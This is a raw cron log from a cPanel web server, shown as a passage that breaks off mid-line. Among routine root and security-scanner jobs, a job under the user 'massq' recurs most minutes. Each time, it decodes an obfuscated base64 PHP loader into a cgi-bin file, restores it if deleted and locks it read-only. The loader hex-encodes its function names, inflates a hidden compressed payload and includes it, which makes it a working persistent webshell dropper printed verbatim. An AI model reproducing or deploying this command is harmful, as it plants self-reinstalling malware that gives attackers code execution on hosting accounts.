Sep  1 13:23:01 server CROND[22677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:24:01 server CROND[23238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:24:01 server CROND[23239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:24:01 server CROND[23240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:25:01 server CROND[23632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:25:01 server CROND[23634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:25:01 server CROND[23637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:25:01 server CROND[23636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:25:01 server CROND[23638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:25:01 server CROND[23640]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:25:01 server CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:26:01 server CROND[24493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:26:01 server CROND[24494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:26:01 server CROND[24496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:27:01 server CROND[24882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:27:01 server CROND[24883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:27:01 server CROND[24884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:27:01 server CROND[24885]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:28:01 server CROND[25367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:28:01 server CROND[25368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:28:01 server CROND[25369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:29:01 server CROND[25752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:29:01 server CROND[25753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:29:01 server CROND[25754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:30:01 server CROND[26151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:30:01 server CROND[26153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:30:01 server CROND[26157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:30:01 server CROND[26158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:30:01 server CROND[26159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:30:01 server CROND[26156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:30:01 server CROND[26161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:30:01 server CROND[26170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:31:01 server CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:31:01 server CROND[27000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:31:01 server CROND[27001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:32:01 server CROND[27388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:32:01 server CROND[27389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:32:01 server CROND[27390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:33:01 server CROND[27877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:33:01 server CROND[27878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:33:01 server CROND[27879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:34:01 server CROND[28262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:34:01 server CROND[28263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:34:01 server CROND[28264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:35:01 server CROND[28662]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:35:01 server CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:35:01 server CROND[28668]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:35:01 server CROND[28671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:35:01 server CROND[28682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:35:01 server CROND[28683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:35:01 server CROND[28685]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 13:35:01 server CROND[28684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:35:01 server CROND[28686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwk